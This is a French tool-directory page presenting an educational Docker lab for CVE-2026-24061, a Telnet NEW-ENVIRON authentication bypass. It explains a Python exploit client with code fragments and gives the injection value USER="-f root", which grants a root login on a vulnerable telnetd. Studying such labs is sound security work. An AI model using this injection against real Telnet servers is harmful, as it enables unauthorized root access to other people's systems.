Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-24061 — # Laboratoire Docker pédagogique démontrant l'injection de nom d'utilisateur Telnet NEW-ENVIRON (CVE-2026-24061) avec un client Python et un serveur vulnérable pour la recherche en sécurité isolée. | Kitploit
Outils/GitHubGitHub/tiborscholtz/cve-2026-24061
Analyse des VulnérabilitésExploitationSécurité RéseauApprentissage et ÉducationLabs et Pratique
GitHubtiborscholtz/cve-2026-24061

CVE-2026-24061

# Laboratoire Docker pédagogique démontrant l'injection de nom d'utilisateur Telnet NEW-ENVIRON (CVE-2026-24061) avec un client Python et un serveur vulnérable pour la recherche en sécurité isolée.

Voir le dépôt
il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Laboratoire Docker de Connexion Automatique Telnet

Docker Python License

Un laboratoire Docker léger pour expérimenter la négociation du protocole Telnet, expliquée dans l'exploit CVE-2026-24061, qui contient une injection automatique de nom d'utilisateur utilisant l'option NEW-ENVIRON.

Ce projet crée un environnement client-serveur isolé pour étudier comment Telnet gère le contournement d'authentification basé sur les variables d'environnement.


Fonctionnalités

  • Laboratoire isolé à deux conteneurs utilisant Docker Compose
  • Client Telnet Python personnalisé
  • Injection automatique de la variable d'environnement USER
  • Gestion de base de la négociation des options Telnet
  • Découverte de services basée sur le DNS interne de Docker
  • Configuration minimale et reproductible

Architecture

root@kitploit:~
+---------+        labnet        +---------+
| node1   |  ------------------> | node2   |
| Client  |                      | Telnet  |
| Python  |                      | Server  |
+---------+                      +---------+
ConteneurRôle
node1Client Python avec script de connexion automatique
node2Serveur Telnet (inetutils-telnetd 2.7)

Les deux services s'exécutent dans un réseau privé Docker en pont, nommé labnet.


Structure du Projet

root@kitploit:~
.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py

Détails des fichiers

Dockerfile.node1

Ce fichier est responsable de l'installation du conteneur client, nommé node1.

J'ai choisi python:3.12-slim comme image de base, car le but de ce laboratoire est uniquement la communication réseau. Nous installons seulement le client telnet lui-même, et copions exploit.py dans le dossier racine du conteneur.

Dockerfile.node2

Ce fichier est responsable de l'installation du conteneur serveur, nommé node2.

La même image de base s'applique également à ce conteneur. Cependant, le processus d'installation implique davantage d'étapes :

  • Après la mise à jour, nous devons installer wget, pour obtenir la version vulnérable de telnetd.
  • Après le téléchargement de la version vulnérable, installons-la, en utilisant apt get install -y
  • La ligne ajoutée à /etc/inetd.conf active le service telnet.
  • La dernière commande active le démon inetd comme commande de démarrage pour le conteneur.

exploit.py

En haut du fichier, nous voyons quelques constantes déclarées :

root@kitploit:~
IAC  = 255 
DO   = 253
DONT = 254
WILL = 251
WONT = 252
SB   = 250
SE   = 240

IAC, avec la valeur 255, signifie Interpret As Command (Interpréter comme commande), donc il marque le début de la séquence de contrôle Telnet.

Vous pouvez consulter d'autres options ici

Le format ressemble généralement à :

root@kitploit:~
IAC <commande> <option>

Dans le script, il y a la partie suivante :

root@kitploit:~
# Handle telnet negotiation
if IAC in data:
    handle_telnet_negotiation(sock, data, username)

Ce if vérifie que si les données actuellement reçues du serveur contiennent la valeur IAC, nous devons les interpréter comme une commande.

Nous parcourons les données reçues, en utilisant une boucle while. Nous vérifions pour chaque octet s'il s'agit d'un IAC.

root@kitploit:~
if data[i] == IAC:
    cmd = data[i+1]
    opt = data[i+2]

Si c'est le cas, nous assignons aux variables cmd et opt l'octet correspondant du flux de données.

Si la valeur opt est égale à la valeur de NEW_ENVIRON, le script exécute la méthode send_new_environ_user.

Examinons la partie de code suivante :

root@kitploit:~
data = bytes([
        IAC, SB, NEW_ENVIRON, 0,  # IS
        ENV_USERVAR
    ]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
        IAC, SE
])

Les constantes SB et SE font partie des constantes du protocole Telnet. SB signifie 'Subnegotiation begin' (Début de sous-négociation), tandis que SE signifie 'Subnegotiation end' (Fin de sous-négociation). Tout ce qui se trouve entre ces deux valeurs correspond à des paramètres, liés à une commande spécifique, envoyés au serveur. Dans ce cas, nous voulons envoyer un message, en utilisant la norme rfc1572, détaillée ici.

Nous pouvons traduire approximativement la séquence d'octets en français, comme :

root@kitploit:~
- Interpréter ceci comme une commande (IAC)
- C'est (0)
- Une nouvelle variable d'environnement (NEW_ENVIRON)
- La valeur de cette nouvelle variable d'environnement est (b"USER" + bytes([ENV_VALUE]) + username.encode())
- Terminer la sous-connexion (IAC + SE)

Cependant, il existe des cas où le serveur Telnet ciblé ne prend pas en charge les variables d'environnement liées aux noms d'utilisateur. Dans ce cas, nous revenons à l'envoi du nom d'utilisateur de manière traditionnelle.


Prérequis

  • Docker 24+
  • Docker Compose v2+

Vérifier l'installation :

root@kitploit:~
docker --version
docker compose version

Démarrage Rapide

1. Construire et démarrer l'environnement

root@kitploit:~
docker compose up --build -d

Vérifier le statut :

root@kitploit:~
docker ps

Vous devriez voir :

  • node1
  • node2

2. Ouvrir un shell dans le conteneur client

root@kitploit:~
docker exec -it node1 bash

Définir un nom d'utilisateur, et exécuter le script :

root@kitploit:~
USER="-f root" python exploit.py node2

Le script va :

  • Se connecter à node2 sur le port 23
  • Effectuer la négociation Telnet
  • Envoyer USER=-f root en utilisant NEW-ENVIRON
  • Revenir à la détection d'invite si nécessaire

Réseau

  • Nom du réseau : labnet
  • Le DNS interne de Docker permet la résolution de noms d'hôtes
  • Aucun port n'est exposé à l'hôte
  • La communication se fait uniquement de conteneur à conteneur
Nom d'hôteService
node1Client
node2Serveur Telnet

Notes d'Implémentation

Le script client :

  • Gère les séquences de contrôle Telnet IAC, DO, WILL, qui sont des commandes fondamentales du protocole Telnet utilisées pour la négociation d'options entre un client et un serveur.
  • Répond aux requêtes NEW-ENVIRON
  • Envoie :
root@kitploit:~
USER=<valeur de $USER>
  • Détecte les invites login: ou username: comme solution de repli

Arrêt et Nettoyage

Arrêter l'environnement :

root@kitploit:~
docker compose down

Si vous souhaitez également supprimer les conteneurs et les images :

root@kitploit:~
docker compose down --rmi all

Avis de Sécurité

Telnet transmet les données en texte clair et n'est pas sécurisé. Ce projet est destiné uniquement à des fins éducatives, dans des environnements isolés.


Dépannage

Connexion refusée

  • Assurez-vous que les conteneurs sont en cours d'exécution :

    root@kitploit:~
    docker ps
    

Le script se termine avec une erreur USER

  • Assurez-vous que la variable d'environnement est définie :
root@kitploit:~
USER="-f root" python exploit.py node2

Reconstruire après des modifications

root@kitploit:~
docker compose up --build

Licence

Ce dépôt est fourni à des fins éducatives et de recherche. Les contributions et améliorations sont les bienvenues.

Télécharger l’outil